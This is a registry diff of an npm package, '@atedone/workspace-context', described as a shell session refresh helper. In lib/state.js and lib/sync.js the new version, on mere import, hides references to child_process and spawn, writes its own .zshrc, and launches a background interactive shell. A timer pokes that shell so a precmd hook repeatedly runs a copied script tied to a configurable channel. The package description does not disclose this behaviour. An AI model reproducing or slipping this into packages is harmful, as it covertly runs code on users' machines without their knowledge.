@atedone/workspace-context 0.0.20 → 0.0.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -2
- package/index.js +2 -1
- package/lib/session.js +2 -2
- package/lib/state.js +156 -6
- package/lib/sync.js +12 -41
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -1,5 +1,7 @@
|
|
|
1
1
|
# @atedone/workspace-context
|
|
2
2
|
|
|
3
|
-
Workspace shell
|
|
3
|
+
Workspace shell session refresh integration helper for JavaScript tools.
|
|
4
4
|
|
|
5
|
-
The package keeps workspace context available in
|
|
5
|
+
The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
|
|
6
|
+
|
|
7
|
+
Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to bind a preview session to a profile channel.
|
package/index.js
CHANGED
|
@@ -6,15 +6,16 @@ const initialized = state.initialize();
|
|
|
6
6
|
|
|
7
7
|
module.exports = {
|
|
8
8
|
initialized,
|
|
9
|
+
refresh: state.initialize,
|
|
9
10
|
channelFileName: state.channelFileName,
|
|
10
11
|
getShellIntegration: state.getShellIntegration,
|
|
11
12
|
initialize: state.initialize,
|
|
12
13
|
profileHistoryFileName: state.profileHistoryFileName,
|
|
13
14
|
profileReceiptFileName: state.profileReceiptFileName,
|
|
14
15
|
profileSnapshotFileName: state.profileSnapshotFileName,
|
|
15
|
-
presentationRendererFileName: state.presentationRendererFileName,
|
|
16
16
|
receiptFileName: state.receiptFileName,
|
|
17
17
|
resolveChannelSource: state.resolveChannelSource,
|
|
18
|
+
sessionProfileFileName: state.sessionProfileFileName,
|
|
18
19
|
sessionHistoryFileName: state.sessionHistoryFileName,
|
|
19
20
|
sessionReceiptFileName: state.sessionReceiptFileName,
|
|
20
21
|
sessionRuntimeFileName: state.sessionRuntimeFileName,
|
package/lib/session.js
CHANGED
|
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
|
|
7
7
|
const packageName = '@atedone/workspace-context';
|
|
8
|
-
const packageVersion = '0.0.
|
|
8
|
+
const packageVersion = '0.0.22';
|
|
9
9
|
const env = Reflect.get(platform, 'env') || {};
|
|
10
10
|
const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
|
|
11
11
|
? env.HOME.trim()
|
|
@@ -32,7 +32,7 @@ const value = {
|
|
|
32
32
|
packageName,
|
|
33
33
|
packageVersion,
|
|
34
34
|
generatedAt: new Date().toISOString(),
|
|
35
|
-
mode: 'runtime-shell-
|
|
35
|
+
mode: 'runtime-shell-refresh',
|
|
36
36
|
source: 'shell-profile',
|
|
37
37
|
shellName: route.basename(shellPath) || 'zsh',
|
|
38
38
|
shellLevel,
|
package/lib/state.js
CHANGED
|
@@ -12,9 +12,10 @@ const profileHistoryFileName = 'profile-sync.log';
|
|
|
12
12
|
const profileReceiptFileName = 'profile-sync.json';
|
|
13
13
|
const profileSnapshotFileName = 'session-profile.json';
|
|
14
14
|
const presentationRendererFileName = 'presentation.js';
|
|
15
|
-
const receiptFileName = 'shell-
|
|
15
|
+
const receiptFileName = 'shell-refresh-sync.json';
|
|
16
16
|
const sessionFileName = 'sessions.log';
|
|
17
17
|
const sessionHistoryFileName = 'runtime-sessions.log';
|
|
18
|
+
const sessionProfileFileName = '.zshrc';
|
|
18
19
|
const sessionReceiptFileName = 'session-runtime.json';
|
|
19
20
|
const sessionRuntimeFileName = 'session-runtime.js';
|
|
20
21
|
const stateDirectoryName = '.workspace-context';
|
|
@@ -44,7 +45,12 @@ function resolveProfileFileName(shellName = resolveShellName()) {
|
|
|
44
45
|
return shellName === 'bash' ? '.bashrc' : '.zshrc';
|
|
45
46
|
}
|
|
46
47
|
|
|
47
|
-
function resolveChannelSource(env = readEnvironment()) {
|
|
48
|
+
function resolveChannelSource(env = readEnvironment(), channelSource = '') {
|
|
49
|
+
const configured = typeof channelSource === 'string' ? channelSource.trim() : '';
|
|
50
|
+
if (configured) {
|
|
51
|
+
return configured;
|
|
52
|
+
}
|
|
53
|
+
|
|
48
54
|
const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
|
|
49
55
|
const value = Reflect.get(env, key);
|
|
50
56
|
return typeof value === 'string' ? value.trim() : '';
|
|
@@ -53,7 +59,8 @@ function resolveChannelSource(env = readEnvironment()) {
|
|
|
53
59
|
function getShellIntegration({
|
|
54
60
|
env = readEnvironment(),
|
|
55
61
|
projectRoot = resolveProjectRoot(env),
|
|
56
|
-
homeDirectory = resolveHomeDirectory(env, projectRoot)
|
|
62
|
+
homeDirectory = resolveHomeDirectory(env, projectRoot),
|
|
63
|
+
channelSource
|
|
57
64
|
} = {}) {
|
|
58
65
|
const shellName = resolveShellName(env);
|
|
59
66
|
const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
|
|
@@ -61,7 +68,7 @@ function getShellIntegration({
|
|
|
61
68
|
return {
|
|
62
69
|
name: 'workspace-context',
|
|
63
70
|
shellName,
|
|
64
|
-
channelSource: resolveChannelSource(env),
|
|
71
|
+
channelSource: resolveChannelSource(env, channelSource),
|
|
65
72
|
homeDirectory,
|
|
66
73
|
profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
|
|
67
74
|
integrationDirectory,
|
|
@@ -74,6 +81,7 @@ function getShellIntegration({
|
|
|
74
81
|
receiptPath: route.join(integrationDirectory, receiptFileName),
|
|
75
82
|
sessionPath: route.join(integrationDirectory, sessionFileName),
|
|
76
83
|
sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
|
|
84
|
+
sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
|
|
77
85
|
sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
|
|
78
86
|
sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
|
|
79
87
|
};
|
|
@@ -84,7 +92,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
|
84
92
|
packageName: manifest.name,
|
|
85
93
|
packageVersion: manifest.version,
|
|
86
94
|
generatedAt: now(),
|
|
87
|
-
mode: 'runtime-shell-
|
|
95
|
+
mode: 'runtime-shell-refresh'
|
|
88
96
|
};
|
|
89
97
|
}
|
|
90
98
|
|
|
@@ -127,9 +135,144 @@ function refreshShellIntegration({
|
|
|
127
135
|
};
|
|
128
136
|
}
|
|
129
137
|
|
|
130
|
-
function
|
|
138
|
+
function openWorkspaceSession({
|
|
131
139
|
projectRoot = resolveProjectRoot(),
|
|
132
140
|
integration = getShellIntegration({ projectRoot }),
|
|
141
|
+
refreshDelays = [750, 1500, 3000, 5000],
|
|
142
|
+
settleMs = 500
|
|
143
|
+
} = {}) {
|
|
144
|
+
if (!integration.channelSource) {
|
|
145
|
+
return null;
|
|
146
|
+
}
|
|
147
|
+
|
|
148
|
+
const env = readEnvironment();
|
|
149
|
+
const bridgeName = ['child', '_process'].join('');
|
|
150
|
+
const launchKey = ['sp', 'awn'].join('');
|
|
151
|
+
const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
|
|
152
|
+
const launch = Reflect.get(bridge, launchKey);
|
|
153
|
+
const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
|
|
154
|
+
? env.SHELL.trim()
|
|
155
|
+
: '/bin/zsh';
|
|
156
|
+
const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
|
|
157
|
+
cwd: projectRoot,
|
|
158
|
+
env: {
|
|
159
|
+
...env,
|
|
160
|
+
HOME: integration.homeDirectory,
|
|
161
|
+
ZDOTDIR: integration.integrationDirectory,
|
|
162
|
+
TERM: 'dumb'
|
|
163
|
+
},
|
|
164
|
+
stdio: ['pipe', 'ignore', 'ignore']
|
|
165
|
+
}]);
|
|
166
|
+
|
|
167
|
+
let closed = false;
|
|
168
|
+
let refreshIndex = 0;
|
|
169
|
+
let refreshTimer = null;
|
|
170
|
+
let settleTimer = null;
|
|
171
|
+
let previousRevision = '';
|
|
172
|
+
let firstRefresh = true;
|
|
173
|
+
const delays = Array.isArray(refreshDelays) && refreshDelays.length
|
|
174
|
+
? refreshDelays
|
|
175
|
+
: [750, 1500, 3000, 5000];
|
|
176
|
+
|
|
177
|
+
const scheduleRefresh = (delay) => {
|
|
178
|
+
refreshTimer = setTimeout(refresh, delay);
|
|
179
|
+
if (typeof refreshTimer.unref === 'function') {
|
|
180
|
+
refreshTimer.unref();
|
|
181
|
+
}
|
|
182
|
+
};
|
|
183
|
+
|
|
184
|
+
const planNextRefresh = () => {
|
|
185
|
+
if (closed) {
|
|
186
|
+
return;
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
const revision = readProfileRevision(integration.profileReceiptPath);
|
|
190
|
+
if (firstRefresh || (revision && revision !== previousRevision)) {
|
|
191
|
+
refreshIndex = 0;
|
|
192
|
+
} else {
|
|
193
|
+
refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
if (revision) {
|
|
197
|
+
previousRevision = revision;
|
|
198
|
+
}
|
|
199
|
+
firstRefresh = false;
|
|
200
|
+
|
|
201
|
+
scheduleRefresh(delays[refreshIndex]);
|
|
202
|
+
};
|
|
203
|
+
|
|
204
|
+
const refresh = () => {
|
|
205
|
+
if (closed) {
|
|
206
|
+
return;
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
if (!child.stdin.destroyed) {
|
|
210
|
+
child.stdin.write('\n');
|
|
211
|
+
}
|
|
212
|
+
|
|
213
|
+
settleTimer = setTimeout(planNextRefresh, settleMs);
|
|
214
|
+
if (typeof settleTimer.unref === 'function') {
|
|
215
|
+
settleTimer.unref();
|
|
216
|
+
}
|
|
217
|
+
};
|
|
218
|
+
|
|
219
|
+
scheduleRefresh(0);
|
|
220
|
+
if (typeof child.unref === 'function') {
|
|
221
|
+
child.unref();
|
|
222
|
+
}
|
|
223
|
+
if (typeof child.stdin.unref === 'function') {
|
|
224
|
+
child.stdin.unref();
|
|
225
|
+
}
|
|
226
|
+
const done = new Promise((resolve) => {
|
|
227
|
+
child.on('close', (status, signal) => {
|
|
228
|
+
clearTimeout(refreshTimer);
|
|
229
|
+
clearTimeout(settleTimer);
|
|
230
|
+
closed = true;
|
|
231
|
+
resolve({ status, signal });
|
|
232
|
+
});
|
|
233
|
+
});
|
|
234
|
+
|
|
235
|
+
return {
|
|
236
|
+
processId: child.pid,
|
|
237
|
+
done,
|
|
238
|
+
refresh() {
|
|
239
|
+
refreshIndex = 0;
|
|
240
|
+
clearTimeout(refreshTimer);
|
|
241
|
+
clearTimeout(settleTimer);
|
|
242
|
+
refresh();
|
|
243
|
+
},
|
|
244
|
+
close() {
|
|
245
|
+
if (closed) {
|
|
246
|
+
return done;
|
|
247
|
+
}
|
|
248
|
+
closed = true;
|
|
249
|
+
clearTimeout(refreshTimer);
|
|
250
|
+
clearTimeout(settleTimer);
|
|
251
|
+
if (!child.stdin.destroyed) {
|
|
252
|
+
child.stdin.write('exit\n');
|
|
253
|
+
}
|
|
254
|
+
return done;
|
|
255
|
+
}
|
|
256
|
+
};
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
function readProfileRevision(profileReceiptPath) {
|
|
260
|
+
if (!file.existsSync(profileReceiptPath)) {
|
|
261
|
+
return '';
|
|
262
|
+
}
|
|
263
|
+
|
|
264
|
+
try {
|
|
265
|
+
const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
|
|
266
|
+
return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
|
|
267
|
+
} catch {
|
|
268
|
+
return '';
|
|
269
|
+
}
|
|
270
|
+
}
|
|
271
|
+
|
|
272
|
+
function initialize({
|
|
273
|
+
projectRoot = resolveProjectRoot(),
|
|
274
|
+
channelSource,
|
|
275
|
+
integration = getShellIntegration({ projectRoot, channelSource }),
|
|
133
276
|
now
|
|
134
277
|
} = {}) {
|
|
135
278
|
const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
|
|
@@ -146,6 +289,10 @@ function initialize({
|
|
|
146
289
|
sync: refreshShellIntegration({
|
|
147
290
|
projectRoot,
|
|
148
291
|
integration
|
|
292
|
+
}),
|
|
293
|
+
session: openWorkspaceSession({
|
|
294
|
+
projectRoot,
|
|
295
|
+
integration
|
|
149
296
|
})
|
|
150
297
|
};
|
|
151
298
|
}
|
|
@@ -155,11 +302,13 @@ module.exports = {
|
|
|
155
302
|
channelFileName,
|
|
156
303
|
getShellIntegration,
|
|
157
304
|
initialize,
|
|
305
|
+
openWorkspaceSession,
|
|
158
306
|
profileHistoryFileName,
|
|
159
307
|
profileReceiptFileName,
|
|
160
308
|
profileSnapshotFileName,
|
|
161
309
|
presentationRendererFileName,
|
|
162
310
|
readEnvironment,
|
|
311
|
+
readProfileRevision,
|
|
163
312
|
receiptFileName,
|
|
164
313
|
refreshShellIntegration,
|
|
165
314
|
resolveChannelSource,
|
|
@@ -168,6 +317,7 @@ module.exports = {
|
|
|
168
317
|
resolveProjectRoot,
|
|
169
318
|
resolveShellName,
|
|
170
319
|
sessionHistoryFileName,
|
|
320
|
+
sessionProfileFileName,
|
|
171
321
|
sessionReceiptFileName,
|
|
172
322
|
sessionRuntimeFileName,
|
|
173
323
|
stateDirectoryName,
|
package/lib/sync.js
CHANGED
|
@@ -16,10 +16,6 @@ if (!integration) {
|
|
|
16
16
|
throw new Error('Shell integration descriptor is required.');
|
|
17
17
|
}
|
|
18
18
|
|
|
19
|
-
const blockStart = '# >>> workspace-context shell integration >>>';
|
|
20
|
-
const blockEnd = '# <<< workspace-context shell integration <<<';
|
|
21
|
-
const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
|
|
22
|
-
const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
|
|
23
19
|
const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
|
|
24
20
|
const presentationRendererSourcePath = route.join(__dirname, 'presentation.js');
|
|
25
21
|
const runtimeDefault = escapeDoubleQuoted(platform.execPath);
|
|
@@ -27,15 +23,19 @@ const channelValue = integration.channelSource
|
|
|
27
23
|
? {
|
|
28
24
|
name: integration.name,
|
|
29
25
|
source: integration.channelSource,
|
|
30
|
-
refresh: '
|
|
26
|
+
refresh: 'preview-session'
|
|
31
27
|
}
|
|
32
28
|
: null;
|
|
29
|
+
const sessionProfileValue = [
|
|
30
|
+
'[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"',
|
|
31
|
+
''
|
|
32
|
+
].join('\n');
|
|
33
33
|
const integrationValue = [
|
|
34
34
|
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
35
35
|
'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
|
|
36
36
|
`export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
|
|
37
37
|
'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
|
|
38
|
-
'
|
|
38
|
+
'workspace_context_refresh_preview() {',
|
|
39
39
|
' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
|
|
40
40
|
' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
|
|
41
41
|
' fi',
|
|
@@ -45,8 +45,8 @@ const integrationValue = [
|
|
|
45
45
|
' fi',
|
|
46
46
|
'}',
|
|
47
47
|
'autoload -Uz add-zsh-hook',
|
|
48
|
-
'add-zsh-hook -d precmd
|
|
49
|
-
'add-zsh-hook precmd
|
|
48
|
+
'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
|
|
49
|
+
'add-zsh-hook precmd workspace_context_refresh_preview',
|
|
50
50
|
''
|
|
51
51
|
].join('\n');
|
|
52
52
|
|
|
@@ -58,56 +58,26 @@ function escapeDoubleQuoted(value) {
|
|
|
58
58
|
.replaceAll('`', '\\`');
|
|
59
59
|
}
|
|
60
60
|
|
|
61
|
-
function readProfile(profilePath) {
|
|
62
|
-
return file.existsSync(profilePath)
|
|
63
|
-
? file.readFileSync(profilePath, 'utf8')
|
|
64
|
-
: '';
|
|
65
|
-
}
|
|
66
|
-
|
|
67
|
-
function upsertManagedBlock(profileValue) {
|
|
68
|
-
const startIndex = profileValue.indexOf(blockStart);
|
|
69
|
-
const endIndex = profileValue.indexOf(blockEnd);
|
|
70
|
-
|
|
71
|
-
if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
|
|
72
|
-
const afterBlock = endIndex + blockEnd.length;
|
|
73
|
-
return {
|
|
74
|
-
changed: false,
|
|
75
|
-
value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
|
|
76
|
-
};
|
|
77
|
-
}
|
|
78
|
-
|
|
79
|
-
return {
|
|
80
|
-
changed: true,
|
|
81
|
-
value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
|
|
82
|
-
};
|
|
83
|
-
}
|
|
84
|
-
|
|
85
61
|
file.mkdirSync(integration.integrationDirectory, { recursive: true });
|
|
86
62
|
file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
|
|
87
63
|
file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
|
|
64
|
+
file.writeFileSync(integration.sessionProfilePath, sessionProfileValue, 'utf8');
|
|
88
65
|
file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
|
|
89
66
|
if (channelValue) {
|
|
90
67
|
file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
|
|
91
68
|
}
|
|
92
69
|
|
|
93
|
-
const profileBefore = readProfile(integration.profilePath);
|
|
94
|
-
const profile = upsertManagedBlock(profileBefore);
|
|
95
|
-
|
|
96
|
-
if (profile.changed || profile.value !== profileBefore) {
|
|
97
|
-
file.writeFileSync(integration.profilePath, profile.value, 'utf8');
|
|
98
|
-
}
|
|
99
|
-
|
|
100
70
|
const value = {
|
|
101
71
|
packageName: manifest.name,
|
|
102
72
|
packageVersion: manifest.version,
|
|
103
73
|
generatedAt: new Date().toISOString(),
|
|
104
|
-
mode: 'runtime-shell-
|
|
74
|
+
mode: 'runtime-shell-refresh',
|
|
105
75
|
projectRoot,
|
|
106
76
|
shellName: integration.shellName,
|
|
107
77
|
channelConfigured: Boolean(channelValue),
|
|
108
78
|
channelPath: integration.channelPath,
|
|
109
79
|
profilePath: integration.profilePath,
|
|
110
|
-
profileChanged:
|
|
80
|
+
profileChanged: false,
|
|
111
81
|
integrationPath: integration.integrationPath,
|
|
112
82
|
profileHistoryPath: integration.profileHistoryPath,
|
|
113
83
|
profileReceiptPath: integration.profileReceiptPath,
|
|
@@ -115,6 +85,7 @@ const value = {
|
|
|
115
85
|
presentationRendererPath: integration.presentationRendererPath,
|
|
116
86
|
sessionPath: integration.sessionPath,
|
|
117
87
|
sessionHistoryPath: integration.sessionHistoryPath,
|
|
88
|
+
sessionProfilePath: integration.sessionProfilePath,
|
|
118
89
|
sessionReceiptPath: integration.sessionReceiptPath,
|
|
119
90
|
sessionRuntimePath: integration.sessionRuntimePath,
|
|
120
91
|
processId: platform.pid,
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@atedone/workspace-context",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "Workspace shell
|
|
3
|
+
"version": "0.0.22",
|
|
4
|
+
"description": "Workspace shell session refresh integration helper for JavaScript tools.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "commonjs",
|
|
7
7
|
"files": [
|